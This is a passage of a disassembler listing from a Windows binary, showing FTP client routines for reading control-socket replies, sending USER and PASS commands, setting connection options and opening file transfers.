; ---------------------------------------------------------------------------


loc_42DAD0:				; CODE XREF: ___:00401D8Ej
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42DAE3
		mov	ecx, [eax+18h]
		test	ecx, ecx
		jnz	short loc_42DAE3
		add	eax, 44h
		retn
; ---------------------------------------------------------------------------


loc_42DAE3:				; CODE XREF: ___:0042DAD6j
					; ___:0042DADDj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DB00	proc near		; CODE XREF: sub_401A7Dj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_12		= word ptr  16h

		sub	esp, 14h
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ebx
		push	ebp
		mov	[esp+1Ch+var_C], eax
		push	esi
		push	edi
		mov	[esp+24h+var_8], eax
		push	ecx
		mov	[esp+28h+var_14], 1
		mov	[esp+28h+var_4], eax
		mov	word ptr [esp+28h+var_10], 2
		nop
		call	near ptr 77C46125h
		mov	ebp, eax
		push	3Ah
		push	ebp
		nop
		call	near ptr 77C47660h
		mov	esi, eax
		xor	ebx, ebx
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_42DB74
		push	offset aTcp	; "tcp"
		push	offset aFtp	; "ftp"
		call	sub_43828C
; ---------------------------------------------------------------------------
		dd 6C75C33Bh, 44741C68h, 928CE800h, 83907780h, 0C03304C4h
		dd 5B5D5E5Fh, 0C314C483h
; ---------------------------------------------------------------------------


loc_42DB74:				; CODE XREF: sub_42DB00+47j
		mov	[esi], bl
		mov	eax, dword_511A7C
		inc	esi
		cmp	dword ptr [eax], 1
		jle	short loc_42DB92
		movsx	ecx, byte ptr [esi]
		push	4
		push	ecx
		nop
		call	near ptr 77C1C561h
		add	esp, 8
		jmp	short loc_42DBA2
; ---------------------------------------------------------------------------


loc_42DB92:				; CODE XREF: sub_42DB00+7Fj
		mov	eax, dword_511B1C
		movsx	edx, byte ptr [esi]
		mov	ecx, [eax]
		mov	al, [ecx+edx*2]
		and	eax, 4


loc_42DBA2:				; CODE XREF: sub_42DB00+90j
		cmp	eax, ebx
		jz	short loc_42DBBD
		push	esi
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		push	eax
		call	sub_43822C
; ---------------------------------------------------------------------------
		mov	[esp+arg_12], ax
		jmp	short sub_42DBD1
; ---------------------------------------------------------------------------


loc_42DBBD:				; CODE XREF: sub_42DB00+A4j
		push	offset aTcp	; "tcp"
		push	esi
		call	sub_43828C
sub_42DB00	endp

; ---------------------------------------------------------------------------
		mov	dx, [eax+8]
		mov	[esp+16h], dx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DBD1	proc near		; CODE XREF: sub_42DB00+BBj
		push	ebp
		call	sub_4381EA
sub_42DBD1	endp

; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		mov	[esp+18h], eax
		jnz	short loc_42DC1D
		push	ebp
		call	sub_4381DE
; ---------------------------------------------------------------------------
		dw 0C33Bh
		dd 0C681875h, 90004474h, 8091FDE8h, 4C48377h, 5E5FC033h
		dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
		dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
		movsb


loc_42DC1D:				; CODE XREF: ___:0042DBDEj
		push	ebp
		mov	ebp, dword_511AD0
		call	ebp	; free
		add	esp, 4
		push	6
		push	1
		push	2
		call	sub_438232
; ---------------------------------------------------------------------------
		dd 0FF83F88Bh, 681875FFh, 447404h, 91ACE890h, 0C4837780h
		dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
		dd 0FFFF68h, 13E85700h,	830000A6h, 775FFF8h, 4473F468h
		dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B8h, 75FFF883h
		dd 71F46807h, 1BEB0044h, 14468h, 0E8016A00h, 777FE42Bh
		dd 83F08B90h, 0F33B08C4h, 0EC681E75h, 90004473h, 809145E8h
		dd 4C48377h, 0A546E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
		dd 200068h, 3CE89000h, 83777FE7h, 0C33B04C4h, 75144689h
		dd 73EC6824h, 0E8900044h, 77809112h, 5704C483h,	0A513E8h
		dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh,	326A56C3h
		dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
		dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
		dd 75C08508h, 0C9E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
		dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
		dd 1B85D5Eh, 5B000000h,	0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DE00	proc near		; CODE XREF: ___:0042E556p
					; sub_42F2C0+70p

var_8		= byte ptr -8
var_5		= byte ptr -5
var_4		= byte ptr -4
arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+18h+arg_4]
		push	edi
		push	100h
		lea	esi, [edi+44h]
		push	esi
		call	sub_42DF40
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42DE3A


loc_42DE22:				; CODE XREF: sub_42DE00+8Ej
					; sub_42DE00+D9j
		push	offset aControlSocketR ; "Control socket read failed"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DE3A:				; CODE XREF: sub_42DE00+20j
		mov	eax, dword_5103A8
		mov	ebx, dword_511A8C
		cmp	eax, 1
		jle	short loc_42DE5E
		mov	eax, dword_511A90
		push	esi
		add	eax, 40h
		push	offset aS	; "%s"
		push	eax
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42DE5E:				; CODE XREF: sub_42DE00+48j
		cmp	byte ptr [edi+47h], 2Dh
		jnz	short loc_42DEDE
		push	3
		lea	ecx, [esp+1Ch+var_8]
		push	esi
		push	ecx
		nop
		call	near ptr 77C47A90h
		push	edi
		push	100h
		push	esi
		mov	[esp+30h+var_5], 20h
		mov	[esp+30h+var_4], 0
		call	sub_42DF40
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42DE22
		mov	ebp, dword_511AE0


loc_42DE96:				; CODE XREF: sub_42DE00+D7j
		cmp	dword_5103A8, 1
		jle	short loc_42DEB4
		mov	edx, dword_511A90
		push	esi
		add	edx, 40h
		push	offset aS	; "%s"
		push	edx
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42DEB4:				; CODE XREF: sub_42DE00+9Dj
		lea	eax, [esp+18h+var_8]
		push	4
		push	eax
		push	esi
		call	ebp	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42DEDE
		push	edi
		push	100h
		push	esi
		call	sub_42DF40
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42DE96
		jmp	loc_42DE22
; ---------------------------------------------------------------------------


loc_42DEDE:				; CODE XREF: sub_42DE00+62j
					; sub_42DE00+C3j
		mov	cl, [esi]
		mov	dl, [esp+18h+arg_0]
		xor	eax, eax
		pop	edi
		cmp	cl, dl
		pop	esi
		pop	ebp
		pop	ebx
		setz	al
		add	esp, 8
		retn
sub_42DE00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DF40	proc near		; CODE XREF: sub_42DE00+15p
					; sub_42DE00+83p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		push	esi
		mov	esi, [esp+14h+arg_8]
		xor	ecx, ecx
		push	edi
		mov	[esp+18h+var_8], ecx
		mov	eax, [esi+18h]
		mov	[esp+18h+var_4], ecx
		cmp	eax, ecx
		jz	short loc_42DF70
		cmp	eax, 1
		jz	short loc_42DF70
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DF70:				; CODE XREF: sub_42DF40+1Ej
					; sub_42DF40+23j
		mov	ebx, [esp+18h+arg_4]
		cmp	ebx, ecx
		jnz	short loc_42DF82
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DF82:				; CODE XREF: sub_42DF40+36j
					; sub_42DF40+115j
		mov	edi, [esi+0Ch]
		test	edi, edi
		jle	short loc_42DFD3
		cmp	ebx, edi
		jge	short loc_42DF90
		lea	edi, [ebx-1]


loc_42DF90:				; CODE XREF: sub_42DF40+4Bj
		mov	eax, [esi+4]
		push	edi
		push	0Ah
		push	eax
		push	ebp
		nop
		call	near ptr 77C46170h
		add	esp, 10h
		test	eax, eax
		jz	short loc_42DFA9
		mov	edi, eax
		sub	edi, ebp


loc_42DFA9:				; CODE XREF: sub_42DF40+63j
		mov	edx, [esp+18h+var_8]
		add	ebp, edi
		add	edx, edi
		sub	ebx, edi
		mov	[esp+18h+var_8], edx
		mov	byte ptr [ebp+0], 0
		mov	ecx, [esi+4]
		mov	edx, [esi+0Ch]
		add	ecx, edi
		sub	edx, edi
		test	eax, eax
		mov	[esi+4], ecx
		mov	[esi+0Ch], edx
		jnz	loc_42E05A


loc_42DFD3:				; CODE XREF: sub_42DF40+47j
		cmp	ebx, 1
		jz	loc_42E0AD
		mov	ecx, [esi]
		mov	eax, [esi+4]
		cmp	ecx, eax
		jnz	short loc_42DFFB
		mov	eax, [esi+14h]
		mov	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	[esi], eax
		mov	dword ptr [esi+10h], 2000h


loc_42DFFB:				; CODE XREF: sub_42DF40+A3j
		mov	eax, [esp+18h+var_4]
		test	eax, eax
		jnz	loc_42E0C0
		push	esi
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	loc_42E0F2
		mov	edx, [esi+10h]
		mov	eax, [esi]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F0
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	loc_42E0DC
		test	eax, eax
		jnz	short loc_42E03F
		mov	[esp+18h+var_4], 1


loc_42E03F:				; CODE XREF: sub_42DF40+F5j
		mov	edi, [esi+10h]
		mov	edx, [esi+0Ch]
		mov	ecx, [esi]
		sub	edi, eax
		add	edx, eax
		add	ecx, eax
		mov	[esi+10h], edi
		mov	[esi+0Ch], edx
		mov	[esi], ecx
		jmp	loc_42DF82
; ---------------------------------------------------------------------------


loc_42E05A:				; CODE XREF: sub_42DF40+8Dj
		sub	ebp, 2
		mov	esi, offset asc_4471E4 ; "\r\n"
		mov	eax, ebp


loc_42E064:				; CODE XREF: sub_42DF40+146j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42E08C
		test	cl, cl
		jz	short loc_42E088
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42E08C
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42E064


loc_42E088:				; CODE XREF: sub_42DF40+130j
		xor	eax, eax
		jmp	short loc_42E091
; ---------------------------------------------------------------------------


loc_42E08C:				; CODE XREF: sub_42DF40+12Cj
					; sub_42DF40+13Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42E091:				; CODE XREF: sub_42DF40+14Aj
		test	eax, eax
		jnz	short loc_42E0F2
		mov	byte ptr [ebp+0], 0Ah
		mov	[ebp+1], al
		mov	eax, [esp+18h+var_8]
		pop	edi
		dec	eax
		pop	esi
		pop	ebp
		mov	[esp+0Ch+var_8], eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0AD:				; CODE XREF: sub_42DF40+96j
		mov	eax, [esp+18h+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		mov	byte ptr [eax],	0
		mov	eax, [esp+0Ch+var_8]
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0C0:				; CODE XREF: sub_42DF40+C1j
		mov	eax, [esp+18h+var_8]
		test	eax, eax
		jnz	short loc_42E0F2
		pop	edi
		mov	[esp+14h+var_8], 0FFFFFFFFh
		mov	eax, [esp+14h+var_8]
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0DC:				; CODE XREF: sub_42DF40+EDj
		push	offset aRead	; "read"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		mov	[esp+18h+var_8], 0FFFFFFFFh


loc_42E0F2:				; CODE XREF: sub_42DF40+D2j
					; sub_42DF40+153j ...
		mov	eax, [esp+18h+var_8]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_42DF40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E170	proc near		; CODE XREF: sub_42DF40+C8p
					; sub_42EF60:loc_42EF8Dp ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 10Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+118h+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		mov	eax, [esi+18h]
		test	eax, eax
		jz	loc_42E253
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	loc_42E253
		cmp	eax, 2
		jnz	short loc_42E1A5
		lea	ebp, [esp+118h+var_104]
		jmp	short loc_42E1A9
; ---------------------------------------------------------------------------


loc_42E1A5:				; CODE XREF: sub_42E170+2Dj
		lea	ebx, [esp+118h+var_104]


loc_42E1A9:				; CODE XREF: sub_42E170+33j
		xor	eax, eax
		push	edi
		mov	[esp+11Ch+var_104], eax


loc_42E1B0:				; CODE XREF: sub_42E170+98j
		cmp	eax, 40h
		jnb	short loc_42E1C5
		mov	ecx, [esi+8]
		mov	[esp+eax*4+11Ch+var_100], ecx
		mov	eax, [esp+11Ch+var_104]
		inc	eax
		mov	[esp+11Ch+var_104], eax


loc_42E1C5:				; CODE XREF: sub_42E170+43j
		mov	edx, [esi+28h]
		mov	eax, [esi+2Ch]
		lea	ecx, [esp+11Ch+var_10C]
		mov	[esp+11Ch+var_10C], edx
		mov	edx, [esi+8]
		push	ecx
		push	0
		push	ebp
		inc	edx
		push	ebx
		push	edx
		mov	[esp+130h+var_108], eax
		call	sub_438208
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42E20A
		test	eax, eax
		jg	short loc_42E241
		mov	eax, [esi+34h]
		mov	ecx, [esi+38h]
		push	eax
		push	ecx
		push	esi
		call	dword ptr [esi+30h]
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_42E246
		mov	eax, [esp+11Ch+var_104]
		jmp	short loc_42E1B0
; ---------------------------------------------------------------------------


loc_42E20A:				; CODE XREF: sub_42E170+79j
		push	100h
		xor	edi, edi
		call	near ptr 77C1F2BCh
		nop
		mov	edx, [eax]
		push	edx
		nop
		call	near ptr 77C371FAh
		add	esp, 4
		push	eax
		mov	eax, [esi+1Ch]
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42E241:				; CODE XREF: sub_42E170+7Dj
		mov	edi, 1


loc_42E246:				; CODE XREF: sub_42E170+92j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42E253:				; CODE XREF: sub_42E170+19j
					; sub_42E170+24j
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 10Ch
		retn
sub_42E170	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2B0:				; CODE XREF: ___:0040141Aj
		mov	eax, [esp+4]
		xor	ecx, ecx
		dec	eax
		cmp	eax, 4		; switch 5 cases
		ja	loc_42E35F	; default
		jmp	off_42E364[eax*4] ; switch jump


loc_42E2C7:				; DATA XREF: ___:off_42E364o
		mov	eax, [esp+8]	; jumptable 0042E2C0 case 0
		cmp	eax, 1
		jz	short loc_42E2D9
		cmp	eax, 2
		jnz	loc_42E35F	; default


loc_42E2D9:				; CODE XREF: ___:0042E2CEj
		mov	ecx, [esp+0Ch]
		mov	[ecx+24h], eax
		mov	ecx, 1
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E2E8:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	edx, [esp+0Ch]	; jumptable 0042E2C0 case 1
		mov	eax, [esp+8]
		mov	ecx, 1
		mov	[edx+30h], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E2FB:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		push	esi		; jumptable 0042E2C0 case 2
		mov	esi, [esp+0Ch]
		mov	eax, 10624DD3h
		push	edi
		imul	esi
		mov	edi, [esp+14h]
		mov	ecx, 1
		sar	edx, 6
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, esi
		mov	[edi+28h], edx
		mov	esi, 3E8h
		cdq
		idiv	esi
		lea	eax, [edx+edx*4]
		lea	eax, [eax+eax*4]
		lea	edx, [eax+eax*4]
		mov	eax, ecx
		shl	edx, 3
		mov	[edi+2Ch], edx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E33C:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	eax, [esp+0Ch]	; jumptable 0042E2C0 case 3
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+34h], edx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E34F:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	eax, [esp+0Ch]	; jumptable 0042E2C0 case 4
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+3Ch], edx


loc_42E35F:				; CODE XREF: ___:0042E2BAj
					; ___:0042E2D3j
		mov	eax, ecx	; default
		retn
; ---------------------------------------------------------------------------
		align 4
off_42E364	dd offset loc_42E2C7	; DATA XREF: ___:0042E2C0r
		dd offset loc_42E2E8	; jump table for switch	statement
		dd offset loc_42E2FB
		dd offset loc_42E33C
		dd offset loc_42E34F
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E3C0	proc near		; CODE XREF: sub_402266j

var_40		= byte ptr -40h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		sub	esp, 40h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42E451
		mov	ebx, [esp+4Ch+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42E451
		mov	edi, dword_511A6C
		push	edx
		lea	eax, [esp+50h+var_40]
		push	offset aUserS	; "USER	%s"
		push	eax
		call	edi	; sprintf
		mov	esi, [esp+58h+arg_8]
		lea	ecx, [esp+58h+var_40]
		push	esi
		push	33h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E42D
		mov	cl, [esi+44h]
		pop	edi
		cmp	cl, 32h
		pop	esi
		setz	al
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42E42D:				; CODE XREF: sub_42E3C0+5Bj
		push	ebx
		lea	edx, [esp+50h+var_40]
		push	offset aPassS	; "PASS	%s"
		push	edx
		call	edi	; sprintf
		push	esi
		lea	eax, [esp+5Ch+var_40]
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42E451:				; CODE XREF: sub_42E3C0+1Bj
					; sub_42E3C0+30j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 40h
		retn
sub_42E3C0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E490	proc near		; CODE XREF: sub_42E3C0+51p
					; sub_42E3C0+82p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		sub	esp, 100h
		push	ebx
		mov	ebx, [esp+104h+arg_8]
		push	esi
		push	edi
		mov	eax, [ebx+18h]
		test	eax, eax
		jz	short loc_42E4B3
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E4B3:				; CODE XREF: sub_42E490+15j
		mov	eax, dword_5103A8
		mov	esi, [esp+10Ch+arg_0]
		cmp	eax, 2
		jle	short loc_42E4DC
		mov	eax, dword_511A90
		push	esi
		add	eax, 40h
		push	offset aS_0	; "%s\n"
		push	eax
		nop
		call	near ptr 77C40E13h
		add	esp, 0Ch


loc_42E4DC:				; CODE XREF: sub_42E490+32j
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 2
		cmp	ecx, 100h
		jbe	short loc_42E4FC
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E4FC:				; CODE XREF: sub_42E490+60j
		push	esi
		lea	ecx, [esp+110h+var_100]
		push	offset aS_3	; "%s\r\n"
		push	ecx
		nop
		call	near ptr 77C3F931h
		lea	edi, [esp+118h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		mov	eax, [ebx+8]
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+110h+var_100]
		push	ecx
		push	edx
		push	eax
		call	sub_4381F6
sub_42E490	endp

; ---------------------------------------------------------------------------
		db 85h
; ---------------------------------------------------------------------------
		sar	byte ptr [edi+1Ah], 68h
		jo	short near ptr byte_42E5AA
		inc	esp
		add	al, ch
		mov	ch, 88h
		xor	byte ptr [edi-70h], 83h
		les	eax, [ebx+esi]
		rcr	byte ptr [edi+5Eh], 5Bh
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [esp+114h]
		push	ebx
		push	ecx
		call	sub_42DE00
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 3Ah dup(0CCh)
byte_42E5AA	db 6 dup(0CCh)		; CODE XREF: ___:0042E534j

; =============== S U B	R O U T	I N E =======================================



sub_42E5B0	proc near		; CODE XREF: sub_401F73j

var_100		= dword	ptr -100h
var_FC		= byte ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 100h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10Ch+arg_0]
		push	edi
		mov	edi, [esp+110h+arg_4]
		test	esi, esi
		jnz	short loc_42E5FC
		cmp	edi, 4
		jz	short loc_42E5D6
		cmp	edi, 3
		jnz	short loc_42E5FC


loc_42E5D6:				; CODE XREF: sub_42E5B0+1Fj
		mov	eax, [esp+110h+arg_C]
		push	offset aMissingPathArg ; "Missing path argument	for file transfer"...
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C3F931h
		add	esp, 8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E5FC:				; CODE XREF: sub_42E5B0+1Aj
					; sub_42E5B0+24j
		mov	ecx, [esp+110h+arg_8]
		mov	ebp, dword_511A6C
		push	ecx
		lea	edx, [esp+114h+var_100]
		push	offset dword_4474B8
		push	edx
		call	ebp	; sprintf
		mov	ebx, [esp+11Ch+arg_C]
		lea	eax, [esp+11Ch+var_100]
		push	ebx
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	loc_42E7BE
		lea	eax, [edi-1]	; switch 4 cases
		cmp	eax, 3
		ja	loc_42E7AF	; default
		jmp	off_42E7CC[eax*4] ; switch jump


loc_42E648:				; DATA XREF: ___:off_42E7CCo
		mov	ecx, dword_4474B0 ; jumptable 0042E641 case 1
		mov	dl, byte_4474B4
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E663:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	eax, dword_4474A8 ; jumptable 0042E641 case 2
		mov	cl, byte_4474AC
		mov	[esp+110h+var_100], eax
		mov	[esp+110h+var_FC], cl
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E67D:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	edx, dword_4474A0 ; jumptable 0042E641 case 3
		mov	al, byte_4474A4
		mov	[esp+110h+var_100], edx
		mov	[esp+110h+var_FC], al
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E697:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	ecx, dword_447498 ; jumptable 0042E641 case 4
		mov	dl, byte_44749C
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 2


loc_42E6B0:				; CODE XREF: sub_42E5B0+B1j
					; sub_42E5B0+CBj ...
		test	esi, esi
		jz	short loc_42E703
		lea	edi, [esp+110h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [esp+edx+110h+var_100], 20h
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		add	ecx, edx
		cmp	ecx, 100h
		jnb	loc_42E7BE
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+edx+110h+var_100]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_42E703:				; CODE XREF: sub_42E5B0+102j
		mov	ecx, [esp+110h+arg_8]
		mov	esi, [esp+110h+arg_10]
		push	ebp
		push	ecx
		push	esi
		push	ebx
		call	sub_42E870
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42E7BE
		push	ebx
		lea	edx, [esp+114h+var_100]
		push	31h
		push	edx
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E758
		mov	eax, [esi]
		push	eax
		call	sub_401BEF
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E758:				; CODE XREF: sub_42E5B0+188j
		mov	ecx, [esi]
		mov	[ecx+1Ch], ebx
		mov	eax, [ebx+24h]
		mov	edx, [esi]
		cmp	eax, 2
		mov	[ebx+20h], edx
		jnz	short loc_42E79F
		mov	eax, [esi]
		push	ebx
		push	eax
		call	sub_42ED50
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_42E79F
		mov	ecx, [esi]
		push	ecx
		call	sub_401BEF
		add	esp, 4
		mov	dword ptr [esi], 0
		mov	dword ptr [ebx+20h], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E79F:				; CODE XREF: sub_42E5B0+1B8j
					; sub_42E5B0+1C8j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E7AF:				; CODE XREF: sub_42E5B0+8Bj
		push	edi		; default
		add	ebx, 44h
		push	offset aInvalidOpenTyp ; "Invalid open type %d\n"
		push	ebx
		call	ebp	; sprintf
		add	esp, 0Ch


loc_42E7BE:				; CODE XREF: sub_42E5B0+7Fj
					; sub_42E5B0+12Cj ...
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
sub_42E5B0	endp

; ---------------------------------------------------------------------------
		align 4
